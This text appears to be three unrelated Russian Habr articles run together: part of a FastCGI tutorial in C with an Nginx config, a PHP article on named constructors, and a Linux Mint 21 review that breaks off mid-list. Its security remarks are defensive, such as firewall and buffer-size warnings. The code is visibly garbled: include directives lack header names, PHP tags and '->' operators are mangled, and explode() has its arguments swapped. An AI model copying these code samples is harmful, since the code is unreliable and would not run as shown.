В этом случае открывается TCP-сокет на указанном порту (в данном случае — 5000 или 9000 соответственно), при этом запросы будут приниматься с любого IP-адреса. **Внимание!** Данный способ потенциально небезопасен — если Ваш сервер подключен к сети Internet, то Ваша FastCGI-программа будет принимать запросы от любого другого компьютера. Значит, любой злоумышленник сможет отправить Вашей FastCGI-программе «пакет смерти». Разумеется, ничего хорошего в этом нет — в лучшем случае Ваша программа может просто «упасть» и получится отказ в обслуживании (DoS-атака, если хотите), в худшем — удаленное выполнение кода (это если совсем уж не повезёт), поэтому всегда ограничивайте доступ к таким портам при помощи файервола (межсетевого экрана), при этом доступ нужно предоставлять только тем IP-адресам, которые реально используются при штатной работе FastCGI-программы (принцип «запрещено все, что явно не разрешено»).
Следующий пример строк подключения:
```
"*:5000"
"*:9000"
```
Способ полностью аналогичен предыдущему: открывается TCP-сокет с приёмом соединений от любого IP-адреса, поэтому в этом случае так же необходимо со всей тщательностью настраивать файервол. Единственный плюс от такой строки подключения сугубо административный — любой читающий конфигурационные файлы программист или системный администратор поймёт, что Ваша программа принимает соединения с любого IP-адреса, поэтому при прочих равных условиях лучше предпочесть данных вариант предыдущему.
Более безопасный вариант — явно указать IP-адрес в строке подключения:
```
"5.5.5.5:5000"
"127.0.0.1:9000"
```
В этом случае запросы будут приниматься только от указанного IP-адреса (в данном случае — 5.5.5.5 или 127.0.0.1 соответственно), для всех остальных IP-адресов данный порт (в данном случае — 5000 или 9000 соответственно) будет закрыт. Это повышает общую безопасность системы, поэтому по возможности всегда используйте этот формат строки подключения к TCP-сокетам — а вдруг системный администратор «просто забудет» настроить файервол? Прошу обратить внимание на второй пример — там указан адрес той же машины (localhost). Это позволяет создать TCP-сокет на одной и той же машине, если по каким-то причинам Вы не можете использовать доменные сокеты Unix (например, потому что chroot веб-сервера и chroot FastCGI-программы находятся в разных папках и не имеют общих файловых путей). К сожалению, Вы не можете указать два или более разных IP-адреса, поэтому если Вам действительно нужно принимать запросы от нескольких веб-серверов, расположенных на разных компьютерах, то придётся или полностью открыть порт (см. предыдущий способ) и положиться на настройки Вашего файервола, или использовать несколько сокетов на разных портах. Так же библиотека libfcgi не поддерживает IPv6-адреса — в далёком 1996 году этот стандарт только-только появился на свет, так что придётся ограничить свои аппетиты обычными IPv4-адресами. Правда, если Вам действительно необходима поддержка IPv6, её сравнительно просто добавить, пропатчив функцию FCGX\_OpenSocket — лицензия библиотеки это позволяет.
**Внимание!** Использование функции указания IP-адреса при создании сокета не является достаточной защитой — возможны атаки IP-спуфинга (подмены IP-адреса отправителя пакета), поэтому настройка файервола всё равно обязательна. Обычно в качестве защиты от IP-спуфинга файервол проверяет соответствие между IP-адресом пакета и MAC-адресом сетевой карты для всех хостов нашей локальной сети (точнее — для широковещательного домена с нашим хостом), и отбрасывает все поступающие из Интернета пакеты, обратный адрес которых находится в зоне частных IP-адресов или локального хоста (маски 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7, 127.0.0.0/8 и ::1/128). Тем не менее, всё же лучше использовать данную возможность библиотеки — в случае неверно настроенного файервола отправить «пакет смерти» с подделанного IP-адреса гораздо сложнее, чем с любого, так как TCP-протокол имеет встроенную защиту от IP-спуфинга.
Последний вид строки подключения — использовать доменное имя хоста:
```
"example.com:5000"
"localhost:9000"
```
В этом случае IP-адрес будет получен автоматически на основе доменного имени указанного Вами хоста. Ограничения всё те же — хосту должен соответствовать один IPv4-адрес, иначе возникнет ошибка. Правда, учитывая что сокет создается один раз в самом начале работы с FastCGI, вряд ли этот способ будет очень полезен — динамически менять IP-адрес всё равно не получится (точнее, после каждой смены IP-адреса придётся перезапускать Вашу FastCGI-программу). С другой стороны, возможно это будет полезно для сравнительно большой сети — запомнить доменное имя всё же легче, чем IP-адрес.
Второй параметр функции backlog определяет длину очереди запросов сокета. Специальное значение 0 (нуль) означает длину очереди по умолчанию для данной операционной системы.
Каждый раз, когда приходит запрос от веб-сервера, новое соединение ставится в эту очередь в ожидании обработки нашей FastCGI-программой. Если очередь полностью заполнится, все последующие запросы на соединение будут заканчиваться неудачей — веб-сервер получит ответ Connection refused (в подключении отказано). В принципе, ничего плохого в этом нет — у веб-сервера Nginx есть своя очередь запросов, и если свободных ресурсов нет, то новые запросы будут ожидать своей очереди на обработку уже в очереди веб-сервера (по крайней мере до тех пор, пока не истечёт время ожидания). Кроме того, если у Вас несколько серверов с работающей FastCGI-программой, Nginx может передать такой запрос на менее загруженный сервер.
Итак, давайте попробуем разобраться, какая длина очереди будет оптимальной. Вообще, этот параметр лучше настраивать индивидуально исходя из данных нагрузочного тестирования, но мы попробуем оценить наиболее подходящий диапазон для этой величины. Первое, что нужно знать — максимальная длина очереди ограничена (определяется настройками ядра операционной системы, обычно — не более 1024 подключений). Второе — очередь потребляет ресурсы, копеечные, но всё же ресурсы, поэтому необоснованно длинной её делать не стоит. Далее, допустим у нашей FastCGI-программы есть 8 рабочих потоков (вполне реально для современных 4-8-ядерных процессоров), и каждому потоку нужно собственное подключение — задачи обрабатываются параллельно. Значит, в идеале, у нас уже должно быть 8 запросов от веб-сервера, чтобы сразу же, без ненужных задержек, обеспечить работой все потоки. Другими словами, минимальный размер очереди запросов — это количество рабочих потоков FastCGI-программы. Можно попробовать увеличить эту величину на 50%-100%, чтобы обеспечить некоторый запас по загрузке, так как время передачи данных по сети конечно.
Теперь давайте определимся с верхней границей этой величины. Тут нужно знать, сколько запросов мы реально можем обработать и ограничить очередь запросов этой величиной. Представьте, что Вы сделали эту очередь слишком большой — настолько, что Вашим клиентам просто надоедает ждать своей очереди и они просто уходят с Вашего сайта так и не дождавшись ответа. Очевидно, ничего хорошего в этом нет — веб-сервер должен был отправить запрос на открытие соединения, что само по себе дорого, а потом ещё и закрыть это соединение только лишь по тому, что FastCGI-программе не хватило времени на обработку этого запроса. Одним словом, мы только тратим процессорное время впустую, а ведь его нам как раз и не хватает! Но это еще не самое страшное — хуже, когда клиент отказался от получения информации с Вашего сайта уже поле начала обработки запроса. Получается, что мы должны будем полностью обработать в сущности уже никому не нужный запрос, что, согласитесь, только ухудшит ситуацию. Теоретически может возникнуть ситуация, когда большая часть клиентов так и не дождется ответа при 100% загрузке Вашего процессора. Нехорошо.
Итак, допустим один запрос мы можем обработать за 300 миллисекунд (то есть 0,3 секунды). Далее нам известно, что в среднем 50% посетителей покидают ресурс, если веб-страница грузится более 30 секунд. Очевидно, что 50% недовольных — это слишком много, поэтому ограничим максимальное время загрузки страницы в 5 секунд. При этом имеется ввиду уже полностью готовая веб-страница — после применения каскадных таблиц стилей и выполнения JavaScript'ов — этот этап на среднестатистическом сайте может занимать 70% от общего времени загрузки веб-страницы. Итак, на загрузку данных по сети осталось не больше 5\*0,3 = 1,5 секунд. Дальше следует вспомнить, что html-код, таблицы стилей, скрипты и графика передаются в разных файлах, причём сначала — html-код, а потом уже всё остальное. Правда, после получения html-кода браузер начинает запрашивать оставшиеся ресурсы параллельно, так что можно оценить время загрузки html-кода как 50% от общего времени получения данных. Итак, в нашем распоряжении осталось не более 1,5\*0,5 = 0,75 секунды на обработку одного запроса. Если в среднем один поток обрабатывает запрос за 0,3 секекунды, то в очереди должно быть 0,75/0,3 = 2,5 запроса на поток. Так как у нас 8 рабочих потоков, то результирующий размер очереди должен составлять 2,5\*8 = 20 запросов. Хочется отметить условность приведенных расчетов — при наличии конкретного сайта используемые в расчете величины можно определить гораздо точнее, но всё же он дает отправную точку для более оптимальной настройки производительности.
Итак, мы получили дескриптор сокета, после этого необходимо выделить память под структуру запроса. Описание этой структуры следующее:
```
typedef struct FCGX_Request {
int requestId;
int role;
FCGX_Stream *in;
FCGX_Stream *out;
FCGX_Stream *err;
char **envp;
struct Params *paramsPtr;
int ipcFd;
int isBeginProcessed;
int keepConnection;
int appStatus;
int nWriters;
int flags;
int listen_sock;
int detached;
} FCGX_Request;
```
**Внимание!** После получения нового запроса все предыдущие данные будут утеряны, поэтому при необходимости длительного хранения данных применяйте глубокое копирование (копируйте сами данные, а не указатели на данные).
Вы должны знать об этой структуре следующее:
— переменные in, out и err играют роль соответственно потоков ввода, вывода и ошибок. Поток ввода содержит данные POST-запроса, в поток вывода нужно отправить ответ FastCGI-программы (например, http-заголовки и html-код веб-страницы), а поток ошибок просто добавит запить в лог ошибок веб-сервера. При этом потоком ошибок можно вообще не пользоваться — если Вам действительно нужно логгировать ошибки, то, пожалуй, для этого лучше использовать отдельный файл — передача данных по сети и их последующая обработка веб-сервером потребляет дополнительные ресурсы.
— переменная envp содержит значения переменных окружения, устанавливаемых веб-сервером, и http-заголовки, например: SERVER\_PROTOCOL, REQUEST\_METHOD, REQUEST\_URI, QUERY\_STRING, CONTENT\_LENGTH, HTTP\_USER\_AGENT, HTTP\_COOKIE, HTTP\_REFERER и так далее. Эти заголовки определяются соответственно стандартами CGI и HTTP протоколов, примеры их использования можно найти в любой CGI-программе. Сами данные хранятся в массиве строк, при этом последний элемент массива содержит нулевой указатель (NULL) в качестве обозначения конца массива. Каждая строка (каждый элемент массива строк) содержит одно значение переменной в формате НАЗВАНИЕ\_ПЕРЕМЕННОЙ=ЗНАЧЕНИЕ, например: CONTENT\_LENGTH=0 (в данном случае означает, что у данного запроса нет POST-данных, так как их длина равна нулю). Если в массиве строк envp нет нужного Вам заголовка, значит он не был передан. Если Вы хотите получить все переданные FastCGI-программе значения переменных, просто прочитайте в цикле все строки массива envp до тех пор пока не встретите указатель на NULL.
Собственно, на этом с описанием этой структуры мы закончили — всё остальные переменные Вам не понадобятся.
Память выделили, теперь нужно выполнить инициализацию структуры запроса:
```
int FCGX_InitRequest(FCGX_Request *request, int sock, int flags);
```
Параметры функции следующие:
request — указатель на структуру данных, которую нужно инициализировать
sock — дескриптор сокета, который мы получили после вызова функции FCGX\_OpenSocket. Хочется отметить, что вместо уже готового дескриптора можно передать 0 (нуль) и получить сокет с настройками по умолчанию, но для нас данный способ совершенно не интересен — сокет будет открыт на случайном свободном порте, а, значит, мы не сможем правильно настроить наш веб-сервер — нам неизвестно заранее, куда именно нужно отправлять данные.
flags — флаги. Собственно, в эту функцию можно передать только один флаг — FCGI\_FAIL\_ACCEPT\_ON\_INTR — не вызывать FCGX\_Accept\_r при разрыве.
После этого нужно получить новый запрос:
```
int FCGX_Accept_r(FCGX_Request *request);
```
В неё нужно передать уже инициализированную на прошлом этапе структуру request. **Внимание!** В многопоточной программе необходимо использовать синхронизацию при вызове данной функции.
Собственно, эта функция выполняет всю работу по работе с сокетами: сначала она отправляет ответ веб-серверу на предыдущий запрос (если таковой был), закрывает предыдущий канал передачи данных и освобождает все связанные с ним ресурсы (в том числе — переменные структуры request), потом получает новый запрос, открывает новый канал передачи данных и подготавливает новые данные в структуре request для их последующей обработки. В случае ошибки получения нового запроса функция возвращает код ошибки, меньший нуля.
Далее Вам наверняка потребуется получить переменные окружения, для этого можно или самостоятельно обработать массив request->envp, или воспользоваться функцией
```
char *FCGX_GetParam(const char *name, FCGX_ParamArray envp);
```
где name — строка, содержащая название переменной окружения или http-заголовка, значение которого Вы хотите получить,
envp — массив переменных окружения, которые содержатся в переменной request->envp
Функция возвращает значение нужной нам переменной окружения в виде строки. Пусть внимательного читателя не пугает несоответствие типов между char \*\* и FCGX\_ParamArray — эти типы объявлены синонимами (typedef char \*\*FCGX\_ParamArray).
Кроме того, Вам наверняка понадобится отправить ответ веб-серверу. Для этого нужно воспользоваться потоком вывода request->out и функцией
```
int FCGX_PutStr(const char *str, int n, FCGX_Stream *stream);
```
где str — буффер, содержащий данные для вывода, без завершающего нуля (то есть буффер может содержать двоичные данные),
n — длинна буффера в байтах,
stream — поток, в который мы хотим вывести данные (request->out или request->err).
Если Вы пользуетесь стандартами C-строками с завершающим нулём, удобнее будет использовать функцию
```
int FCGX_PutS(const char *str, FCGX_Stream *stream);
```
которая просто определит длину строки функцией strlen(str) и вызовет предыдущую функцию. Поэтому, если Вам заранее известна длина строки (например, Вы пользуетесь C++-строками std::string), лучше используйте предыдущую функцию по соображениям эффективности.
Хочется отметить, что эти функции прекрасно работают с UTF-8-строками, так что с многоязычными веб-прилодениями проблем быть не должно.
Вы так же можете вызывать эти функции несколько раз во время обработки одного и того же запроса, в ряде случаев это может повысить производительность. Например, Вам нужно отправить какой-то большой файл. Вместо того, чтобы загружать весь этот файл с жёсткого диска, а потом уже отправить его «одним куском», Вы можете сразу же начать отправлять данные. В результате клиент вместо белого экрана браузера начнёт получать интересующие его данные, что чисто психологически заставит его ещё немного подождать. Другими словами, Вы как бы выигрываете немного времени для загрузки страницы. Так же хочется отметить, что большинство ресурсов (каскадные таблицы стилей, JavaScript'ы и т.п.) указываются в начале веб-страницы, то есть браузер сможет проанализировать часть html-кода и начать загрузку этих ресурсов раньше — ещё один повод выводить данные по частям.
Следующее, что Вам может понадобиться — это обработать POST-запрос. Для того, что бы получить его значение, нужно прочитать данные из потока request->in при помощи функции
```
int FCGX_GetStr(char * str, int n, FCGX_Stream *stream);
```
где str — указатель на буффер,
n — размер буффера в байтах,
stream — поток, из которого мы читаем данные.
Размер передаваемых данных в POST-запросе (в байтах) можно определить с помощью переменной окружения CONTENT\_LENGTH, значение которой, как мы помним, можно получить с помощью функции FCGX\_GetParam. **Внимание!** Создавать буффер str на основании значения переменной CONTENT\_LENGTH без каких-либо ограничений очень плохая идея: любой злоумышленник может отправить любой, сколь угодно большой POST-запрос, и у Вашего сервера может просто закончиться свободная оперативная память (получится DoS-атака, если хотите). Вместо этого лучше ограничить размер буффера какой-то разумной величиной (от нескольких килобайт до нескольких мегабайт) и вызывать функцию FCGX\_GetStr несколько раз.
Последняя важная функция флеширует потоки вывода и ошибок (отправляет клиенту всё ещё не отправленные данные, которые мы успели поместить в потоки вывода и ошибок) и закрывает соединение:
```
void FCGX_Finish_r(FCGX_Request *request);
```
Хочется особо отметить, что эта функция не является обязательной: функция FCGX\_Accept\_r так же отправляет клиенту данные и закрывает текущее соединение перед получением нового запроса. Спрашивается: тогда зачем же она нужна? Представьте, что Вы уже отправили клиенту все необходимые данные, и сейчас Вам нужно выполнить какие-то завершающие операции: записать статистику в базу данных, ошибки в лог-файл и т.п. Очевидно, что соединение с клиентом уже больше не нужно, но клиент (в смысле, браузер) всё ещё ждёт от нас информацию: а вдруг мы отправим что-нибудь еще? При этом очевидно, что мы не можем вызвать FCGX\_Accept\_r раньше времени — после этого нужно будет начать обрабатывать следующий запрос. Как раз в этом случае Вам понадобится функция FCGX\_Finish\_r — она позволит закрыть текущее соединение до получения нового запроса. Да, мы сможем обработать такое же число запросов в единицу времени, как и без использования этой функции, но клиент получит ответ раньше — ему уже не придется ждать конца выполнения наших завершающих операций, а ведь именно из-за большей скорости обработки запросов мы и используем FastCGI.
На этом, собственно, заканчивается описание функций библиотеки и начинается обработка полученных данных.
Простой пример многопоточной FastCGI-программы
----------------------------------------------
Думаю, в примере всё будет понятно. Единственное, печать отладочных сообщений и «засыпание» рабочего потока сделаны исключительно в демонстрационных целях. При компилировании программы не забудьте подключить библиотеки libfcgi и libpthread (параметры компилятора gcc: -lfcgi и -lpthread).
```
#include
#include
#include
#include "fcgi\_config.h"
#include "fcgiapp.h"
#define THREAD\_COUNT 8
#define SOCKET\_PATH "127.0.0.1:9000"
//хранит дескриптор открытого сокета
static int socketId;
static void \*doit(void \*a)
{
int rc, i;
FCGX\_Request request;
char \*server\_name;
if(FCGX\_InitRequest(&request, socketId, 0) != 0)
{
//ошибка при инициализации структуры запроса
printf("Can not init request\n");
return NULL;
}
printf("Request is inited\n");
for(;;)
{
static pthread\_mutex\_t accept\_mutex = PTHREAD\_MUTEX\_INITIALIZER;
//попробовать получить новый запрос
printf("Try to accept new request\n");
pthread\_mutex\_lock(&accept\_mutex);
rc = FCGX\_Accept\_r(&request);
pthread\_mutex\_unlock(&accept\_mutex);
if(rc < 0)
{
//ошибка при получении запроса
printf("Can not accept new request\n");
break;
}
printf("request is accepted\n");
//получить значение переменной
server\_name = FCGX\_GetParam("SERVER\_NAME", request.envp);
//вывести все HTTP-заголовки (каждый заголовок с новой строки)
FCGX\_PutS("Content-type: text/html\r\n", request.out);
//между заголовками и телом ответа нужно вывести пустую строку
FCGX\_PutS("\r\n", request.out);
//вывести тело ответа (например - html-код веб-страницы)
FCGX\_PutS("\r\n", request.out);
FCGX\_PutS("\r\n", request.out);
FCGX\_PutS("FastCGI Hello! (multi-threaded C, fcgiapp library)\r\n", request.out);
FCGX\_PutS("\r\n", request.out);
FCGX\_PutS("\r\n", request.out);
FCGX\_PutS("FastCGI Hello! (multi-threaded C, fcgiapp library)
==================================================
\r\n", request.out);
FCGX\_PutS("Request accepted from host *", request.out);
FCGX\_PutS(server\_name ? server\_name : "?", request.out);
FCGX\_PutS("*
\r\n", request.out);
FCGX\_PutS("\r\n", request.out);
FCGX\_PutS("\r\n", request.out);
//"заснуть" - имитация многопоточной среды
sleep(2);
//закрыть текущее соединение
FCGX\_Finish\_r(&request);
//завершающие действия - запись статистики, логгирование ошибок и т.п.
}
return NULL;
}
int main(void)
{
int i;
pthread\_t id[THREAD\_COUNT];
//инициализация библилиотеки
FCGX\_Init();
printf("Lib is inited\n");
//открываем новый сокет
socketId = FCGX\_OpenSocket(SOCKET\_PATH, 20);
if(socketId < 0)
{
//ошибка при открытии сокета
return 1;
}
printf("Socket is opened\n");
//создаём рабочие потоки
for(i = 0; i < THREAD\_COUNT; i++)
{
pthread\_create(&id[i], NULL, doit, NULL);
}
//ждем завершения рабочих потоков
for(i = 0; i < THREAD\_COUNT; i++)
{
pthread\_join(id[i], NULL);
}
return 0;
}
```
Простой пример конфигурации Nginx
---------------------------------
Собственно, простейший пример конфига выглядит так:
```
server {
server_name localhost;
location / {
fastcgi_pass 127.0.0.1:9000;
#fastcgi_pass unix:/tmp/fastcgi/mysocket;
#fastcgi_pass localhost:9000;
include fastcgi_params;
}
}
```
В данном случае этого конфига достаточно для корректной работы нашей FastCGI-программы. Закоментированные строчки — это пример работы с соответственно доменными сокетами Unix и заданием доменного имени хоста вместо IP-адреса.
После компиляции и запуска программы, и настройки Nginx у меня по адресу localhost появилась гордая надпись:
FastCGI Hello! (multi-threaded C, fcgiapp library)
Спасибо всем, кто дочитал до конца. | https://habr.com/ru/post/154187/ | null | ru | null |
# Как использовать именованные конструкторы в PHP
*tl; dr — Не ограничивай себя одним конструктором в классе. Используй статические фабричные методы.*
PHP позволяет использовать только один конструктор в классе, что довольно раздражительно. Вероятно, мы никогда не получим нормальную возможность перегрузки конструкторов в PHP, но кое-что сделать все же можно. Для примера возьмем простой класс, хранящий значение времени. Какой способ создания нового объекта лучше:
```
php
$time = new Time("11:45");
$time = new Time(11, 45);
</code
```
Правильным ответом будет «в зависимости от ситуации». Оба способа могут являются корректным с точки зрения полученного результата. Реализуем поддержку обоих способов:
```
php
final class Time
{
private $hours, $minutes;
public function __construct($timeOrHours, $minutes = null)
{
if(is_string($timeOrHours) && is_null($minutes)) {
list($this-hours, $this->minutes) = explode($timeOrHours, ':', 2);
} else {
$this->hours = $timeOrHours;
$this->minutes = $minutes;
}
}
}
```
Выглядит отвратительно. Кроме того поддержка класса будет затруднена. Что произойдет, если нам понадобится добавить еще несколько способов создания экземпляров класса Time?
```
php
$minutesSinceMidnight = 705;
$time = new Time($minutesSinceMidnight);
</code
```
Также, вероятно, стоит добавить поддержку числовых строк (защита от дурака не помешает):
```
php
$time = new Time("11", "45");
</code
```
#### Реорганизация кода с использованием именованных конструкторов
Добавим несколько статичных методов для инициализации Time. Это позволит нам избавиться от условий в коде (что зачастую является хорошей идеей).
```
php
final class Time
{
private $hours, $minutes;
public function __construct($hours, $minutes)
{
$this-hours = (int) $hours;
$this->minutes = (int) $minutes;
}
public static function fromString($time)
{
list($hours, $minutes) = explode($time, ':', 2);
return new Time($hours, $minutes);
}
public static function fromMinutesSinceMidnight($minutesSinceMidnight)
{
$hours = floor($minutesSinceMidnight / 60);
$minutes = $minutesSinceMidnight % 60;
return new Time($hours, $minutes);
}
}
```
Теперь каждый метод удовлетворяет принцип Единой ответственности. Публичный интерфейс прост и понятен. Вроде бы закончили? Меня по прежнему беспокоит конструктор, он использует внутреннее представление объекта, что затрудняет изменение интерфейса. Положим, по какой-то причине нам необходимо хранить объединенное значение времени в строковом формате, а не по отдельности, как раньше:
```
php
final class Time
{
private $time;
public function __construct($hours, $minutes)
{
$this-time = "$hours:$minutes";
}
public static function fromString($time)
{
list($hours, $minutes) = explode($time, ':', 2);
return new Time($hours, $minutes);
}
// ...
}
```
Это некрасиво: нам приходится разбивать строку, чтобы потом заново соединить её в конструкторе. А нужен ли нам конструктор для конструктора?
Нет, обойдемся без него. Реорганизуем работу методов, для работы с внутренним представлением напрямую, а конструктор сделаем приватным:
```
php
final class Time
{
private $hours, $minutes;
// Не удаляем пустой конструктор, т.к. это защитит нас от возможности создать объект извне
private function __construct(){}
public static function fromValues($hours, $minutes)
{
$time = new Time;
$time-hours = $hours;
$time->minutes = $minutes;
return $time;
}
// ...
}
```
#### Единообразие языковых конструкций
Наш код стал чище, мы обзавелись несколькими полезными методами инициализации нового объекта. Но как часто случается с хорошими конструктивными решениями — ранее скрытые изъяны выбираются на поверхность. Взгляните на пример использования наших методов:
```
php
$time1 = Time::fromValues($hours, $minutes);
$time2 = Time::fromString($time);
$time3 = Time::fromMinutesSinceMidnight($minutesSinceMidnight);
</code
```
Ничего не заметили? Именование методов не единообразно:
* fromString — использует в названии детали реализации PHP;
* fromValues - использует своего рода общий термин программирования;
* fromMinutesSinceMidnight - использует обозначения из предметной области.
Как языковой ~~задрот~~ гик, а также приверженец подхода Domain-Driven Design (Проблемо-ориентированное проектирование), я не мог пройти мимо этого. Т.к. класс Time является часть нашей предметной области, я предлагаю использовать для именования методов термины этой самой предметной области:
* fromString => fromTime
* fromValues => fromHoursAndMinutes
Такой акцент на предметной области дает нам широкий простор для действий:
```
php
$customer = new Customer($name);
// В реальной жизни мы не используем такую терминологию
// Мне кажется, что так будет лучше:
$customer = Customer::fromRegistration($name);
$customer = Customer::fromImport($name);
</code
```
Возможно, такой подход будет не всегда оправдан, и такой уровень детализации излишен. Мы можем использовать любой из вариантов, но самое важное то, что именованные конструкторы дают нам возможность выбирать.
---
Часть 2: [Когда использовать статические методы](https://habrahabr.ru/post/279921/) | https://habr.com/ru/post/279919/ | null | ru | null |
# 6 причин установить Linux Mint вместо Ubuntu: первый взгляд на Mint 21 “Vanessa”
Linux Mint основан на пакетной базе версий Ubuntu с долгосрочной поддержкой (LTS — от англ. long term support) и выходит раз в два года через несколько месяцев после релиза родительского дистрибутива.
**Зачем нужен Mint, если есть Ubuntu?** Аудитории требуется настольный Linux, который разработчики еще не превратили в неведомое чудище. В этом обзоре мы разберем, что нового появилось в версии 21 с точки зрения удобства использования.
### Отличия Linux Mint 21 от Ubuntu 22.04 LTS
Дистрибутив Linux Mint 21 “Vanessa” основан на бинарных пакетах [Ubuntu](https://ru.wikipedia.org/wiki/Ubuntu) 22.04 LTS “Jammy Jellyfish” с ядром Linux версии 5.15, а также на созданной разработчиками Mint среде рабочего стола [Cinnamon](https://ru.wikipedia.org/wiki/Cinnamon) 5.4.
Настройка источников приложений Linux Mint 21 через графический интерфейс***Системные требования:*** *для установки Linux Mint 21 Cinnamon Edition вам потребуется компьютер с процессором x86\_64 (поддержка архитектуры i386 была прекращена в Linux Mint 20), не менее 2 ГБ оперативной памяти (для комфортной работы нужно не менее 4 ГБ) и 20 ГБ свободного пространства накопителя (рекомендовано 100 ГБ), а также видеоадаптер с разрешением не менее 1024×768.*
Список официальных репозиториев Linux Mint 21 (конфигурационный файл)
> Linux Mint можно представить как состоящую из пакетов Ubuntu LTS стабильную базовую систему со свежим графическим десктопом из собственного репозитория.
>
>
Новому релизу дистрибутива присваивают порядковый двузначный номер и кодовое женское имя (в нашем случае **21 “Vanessa”**). Крупным выпускам обновлений тоже присваивают собственные имена и минорные номера после точки. Базовая система при этом не меняется, что дает возможность доставлять пользователям не только исправленные версии ПО, но и свежий десктоп через графический менеджер обновлений. Предыдущий релиз **Linux Mint 20 “Ulyana”** получил три таких обновления: **20.1 “Ulyssa”**, **20.2 “Uma”** и **20.3 “Una”** (Ванессу, вероятно, ждет та же судьба).
> Основное преимущество такого подхода — недоступные пользователям дистрибутивов с коротким жизненным циклом или с непрерывным обновлением (rolling release) стабильность софта и длительность поддержки.
>
>
*Linux Mint 20 будет получать обновления безопасности до апреля 2025 года, а Linux Mint 21 — до апреля 2027 года. До 2024 года следующие версии Linux Mint будут использовать ту же базу пакетов, что и Linux Mint 21 — это упростит обновление.*
Рабочий стол Cinnamon 5.4 с панелью и главным меню, файловый менеджер Nemo и менеджер обновлений #### Причина 1
***Первую причину предпочесть Linux Mint мы определили:*** *стабильная базовая система с длительной поддержкой и современное графическое окружение.*
Свежие версии ПО для десктопа пользователи получают из репозиториев Mint, а для пакетов из Ubuntu (например, LibreOffice) доступны в основном обновления безопасности, хотя кое-какие новинки в репозиторий **Ubuntu Backports** попадают. Через год некоторые пакеты базовой системы могут показаться устаревшими — такова плата за стабильность версии LTS.
### Десктоп, темы оформления и оконный менеджер
Созданная в рамках проекта Linux Mint графическая оболочка **Cinnamon** — ответвление от кодовой базы [GNOME Shell](https://ru.wikipedia.org/wiki/GNOME_Shell). Разработчики отказались в ней от экспериментов родительского проекта и предложили пользователям классический современный десктоп с панелями и апплетами (главным меню, списком окон, системным треем и т.д.). Есть в Cinnamon и т.н. десклеты — мини-приложения рабочего стола, напоминающие виджеты из мобильных ОС. Поддерживается аппаратный рендеринг, есть композитный менеджер окон, разнообразные эффекты и прочие свистелки.
По умолчанию в Linux Mint 21 включена светлая тема оформления **Mint-Y** с фирменным зеленым отливом, но есть и другие цветовые решения, а также темные вариации. Для любителей классики предустановлены наборы тем приложений и значков **Mint-X**, а для совместимости оставлены штатные темы GNOME: Adwaita, Adwaita-dark и HighContrast. Внешний вид приложений Qt традиционно настраивается в отдельном конфигураторе.
Среда Cinnamon 5.4 с темами оформления и значками Mint-Y-AquaБольше всего изменений произошло в оконном менеджере Muffin, который теперь основан на кодовой базе Mutter 3.36 из среды GNOME и стал намного ближе к апстриму, чем раньше. В предыдущей версии дистрибутива для визуализации окон с панелью заголовка использовалась тема GTK, а для остальных — тема [Metacity](https://ru.wikipedia.org/wiki/Metacity). Разработчики Mint-X и Mint-Y постарались, чтобы окна выглядели единообразно, но это не совсем получилось: для их рендеринга приходилось использовать два разных движка. К тому же многие создатели сторонних тем уже забыли про Metacity, что вызывало проблемы с декорациями окон без панели заголовка.
*Новый Muffin использует тему GTK для всех окон, так что исчезла головная боль с разными тенями, заголовками и сторонними темами оформления. Можно, например, установить популярный набор Yaru из репозиториев Ubuntu (пакеты* ***yaru-theme-gtk*** *и* ***yaru-theme-icon****).*
В Ubuntu 22.04 эти темы из полутемных (темный верх, светлый низ) стали светлыми и обзавелись разными цветовыми решениями. Как и в наборах Mint-X/Mint-Y, доступны темные вариации, притом включать их для всей среды необязательно. Использовать темное оформление может и отдельное приложение.
Среда Cinnamon 5.4 и окна разных типов с оформлением приложений и значками Yaru-blue из Ubuntu 22.04, тема десктопа — Cinnamon#### Причина 2
*В Ubuntu 22.04 по умолчанию используется среда GNOME с оболочкой GNOME Shell, а Linux Mint предлагает лаконичный и в то же время современный десктоп без сомнительных экспериментов над интерфейсом.*
> Кроме Linux Mint 21 Cinnamon Edition пользователям [доступна](https://linuxmint.com/download_all.php) редакция дистрибутива с графической средой [MATE](https://ru.wikipedia.org/wiki/MATE) (независимым форком GNOME 2), а также с [Xfce](https://ru.wikipedia.org/wiki/Xfce). Последняя рекомендована для установки на слабых компьютерах.
>
>
### Штатные приложения Linux Mint 21 “Vanessa” Cinnamon Edition
Предустановленное ПО в Linux Mint 21 подобрано грамотно: в комплект входят браузер Firefox и почтовый клиент Thunderbird, торрент-клиент Transmission, текстовый редактор xed, офисный пакет LibreOffice, графический редактор Drawing, программы для просмотра документов (Xreader) и графических файлов (Xviewer), каталогизатор изображений Pix, медиаплеер Celluloid (GTK-интерфейс к MPV), аудиопроигрыватель Rhythmbox и даже программа для просмотра ТВ Hypnotix. В процессе инсталляции пользователю предлагают поставить проприетарные кодеки.
Программа для бесплатного просмотра ТВ через интернет Hypnotix (тема оформления Mint-Y-Gray, темная вариация)Помимо ПО для работы в интернете, а также офисных и мультимедийных программ, в Linux Mint 21 есть файловый менеджер Nemo (ответвление от кодовой базы Nautilus), сканер документов, менеджер архивов, приложение для управления дисками, утилита для записи образов на флешку, калькулятор, приложение для пакетного переименования файлов, утилита для снимков экрана, заметки для рабочего стола и т. д. и т. п. Есть даже утилита Timeshift для создания снимков и восстановления системы.
*Стоит выделить Warpinator — кроссплатформенную программу для шифрованного обмена файлами по сети. Она также доступна для Windows, iOS и Android, т.е. позволяет связать все ваши устройства. Сделать это можно и через Bluetooth: в Linux Mint 21 зависящий от gnome-bluetooth менеджер Blueberry был заменен на* ***Blueman****, использующий стандартный стек* ***Bluez****. Blueman более функционален и лучше поддерживает гарнитуры, а также аудиопрофили.*
Отметим наличие утилиты для запуска веб-сайтов, как если бы они были приложениями: Яндекс.Музыка, КиноПоиск и YouTube прекрасно живут в отдельных профилях Firefox. Не хватает только отображения обложки проигрываемого Яндекс.Музыкой альбома в звуковом апплете панели (Rhythmbox или нативное приложение Spotify для Linux обложки показывают).
Веб-приложение Яндекс.Музыки в Firefox, утилита для запуска сайтов как приложений, blueman-manager и звуковой апплет (тема оформления Mint-Y-Gray, тема десктопа — Cinnamon) Linux Mint 21 предлагает пользователям полный набор средств конфигурирования с графическим интерфейсом. Они доступны через окно параметров системы и/или через пункты главного меню **Параметры** и **Администрирование**. *Кому нужна командная строка? XXI век на дворе.*
Окно параметров системы (тема оформления Mint-Y)#### Причина 3
